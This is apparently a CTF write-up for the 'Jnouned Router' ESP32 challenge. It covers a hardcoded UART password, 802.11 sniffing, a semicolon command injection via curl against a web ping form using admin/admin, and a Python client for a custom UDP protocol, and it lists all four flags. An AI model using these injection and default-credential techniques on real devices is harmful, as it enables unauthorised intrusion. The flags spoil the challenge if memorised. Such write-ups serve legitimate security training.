# Jnouned Router | Field | Value | |-------|-------| | Category | ESP | | Difficulty | Multi-part (Easy to Hard) | | Points | 100 / 200 / 300 / 400 (4 flags) | | Author | Eun0us | | CTF | Espilon 2026 | --- ## Description The CERT-CORP intercepted a strange firmware from an unknown router model built by the shady *JNouner Company*. Analysts found it targets an **ESP32-based prototype**, but the system is protected by a locked **UART console**. Flash the firmware, break into the system, and work your way through every layer of this device. Format: **ESPILON{flag}** --- ## TL;DR Four-part progressive challenge on an ESP32 router firmware. Break the UART password, sniff 802.11 frames in monitor mode, exploit a command-injection in the web admin panel, then reverse a custom UDP protocol (JMP) to exfiltrate the final flag. --- ## Tools | Tool | Purpose | |------|---------| | `esptool.py` | Flash firmware | | `screen` / `minicom` | UART console access | | `airmon-ng` / `tcpdump` | 802.11 monitor mode capture | | `curl` | Web admin POST injection | | Python 3 + `socket` + `struct` + `hashlib` | JMP protocol client | | `strings` / Ghidra | Firmware static analysis | --- ## Flags Summary | Flag | Name | Points | Value | |------|------|--------|-------| | 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` | | 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` | | 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` | | 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` | --- ## Solution ### Setup ![esptool flashing firmware to ESP32](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/esptool_flash.png) — Flash the firmware ```bash esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \ 0x1000 bootloader.bin \ 0x8000 partition-table.bin \ 0x10000 jnouned_router.bin ``` Open the UART console: ```bash screen /dev/ttyUSB0 115200 ``` ![UART console showing jnoun-console> prompt](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/jnouned_console.png) --- ### Flag 1 — Console Access (100 pts) The UART console presents a `jnoun-console>` prompt requiring a password. Inspect `admin.c` in the firmware source (or run `strings` on the ELF) to find `build_admin_password()`. The password is assembled from three parts: ``` p1 = "jnoun-" p2 = "admin-" p3 = "2022" → password = "jnoun-admin-2022" ``` ```text admin_login jnoun-admin-2022 ``` Flag 1 is printed on success. ![successful admin_login command printing Flag 1](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/jnouned_login.png) --- ### Flag 2 — 802.11 TX (200 pts) From the admin console, read device settings: ```text settings ``` The output reveals WiFi credentials (XOR-obfuscated with key `0x37` in `wifi.c`): - **SSID**: `Jnoun-3E4C` - **PSK**: `LAIN_H4v3_Ajnoun` Trigger the 802.11 data-frame flood for 90 seconds: ```text start_emitting ``` Put your WiFi adapter into monitor mode on the same channel and capture frames: ```bash airmon-ng start wlan0 tcpdump -i wlan0mon -w capture.pcap # or tshark -i wlan0mon -w capture.pcap ``` Among the random noise frames, one frame emitted at a random time (5–85 seconds) contains Flag 2 as cleartext in its 802.11 data payload. ![Wireshark frame showing Flag 2 in the payload field](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/jnouned_wifi.png) --- ### Flag 3 — Admin Panel (300 pts) Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router hosts an HTTP server at `http://192.168.4.1`. Log in: `admin` / `admin`. The `/admin` page has a "ping" form posting to `/api/ping`. A hint on the page reads: *"Parser séparateur ';'"* — the internal shell splits commands on `;`. Inject via the `target` field: ```bash curl -b "auth=1" -X POST http://192.168.4.1/api/ping \ -d "target=x%3B+flag" ``` Decoded: `target=x; flag` Flag 3 prints to the UART console via `ESP_LOGE`. ![UART console showing Flag 3 output after injection](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/jnouned_flag3.png) --- ### Flag 4 — JMP Protocol (400 pts) Trigger the exfiltration session via the web injection: ```text target=x; start_session ``` The UART console leaks: ```text JMP Server listening on UDP:6999 PROTOCOL INITIALIZATION LEAK: Magic: 0x4A4D5021 Auth hash (SHA256): Hint: Secret pattern is JNOUNER_SECRET_XXXX ``` The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash, then request all data blocks: ```python import socket, struct, hashlib HOST = "192.168.4.1" PORT = 6999 MAGIC = 0x4A4D5021 SECRET = b"JNOUNER_SECRET_EXFILTRATION" secret_hash = hashlib.sha256(SECRET).digest() # AUTH_REQUEST: magic(4) + type(1=0x01) + hash(32) auth_pkt = struct.pack(">IB", MAGIC, 0x01) + secret_hash sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(auth_pkt, (HOST, PORT)) # AUTH_RESPONSE: magic(4) + type(1) + status(1) + token(4) resp, _ = sock.recvfrom(1024) magic, ptype, status, token = struct.unpack(">IBBI", resp[:10]) print(f"Token: 0x{token:08x}") # Request all blocks flag = b"" for block_id in range(10): # DATA_REQUEST: magic(4) + type(1=0x10) + token(4) + block_id(1) req = struct.pack(">IBIB", MAGIC, 0x10, token, block_id) sock.sendto(req, (HOST, PORT)) resp, _ = sock.recvfrom(1024) # DATA_RESPONSE: magic(4)+type(1)+block_id(1)+total_blocks(1)+data_len(1)+data(N)+checksum(2) if len(resp) < 8: break _, _, bid, total, dlen = struct.unpack(">IBBBB", resp[:8]) data = resp[8:8+dlen] flag += data if bid + 1 >= total: break print(flag.decode()) ``` ![Python JMP client printing the final flag after block reassembly](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/jnouned_jmp.png) --- ## Flag - Flag 1: `ESPILON{Jn0un3d_4dM1N}` - Flag 2: `ESPILON{802_11_tx_jnned}` - Flag 3: `ESPILON{Adm1n_4r3_jn0uned}` - Flag 4: `ESPILON{Jn0un3d_UDP_Pr0t0c0l}`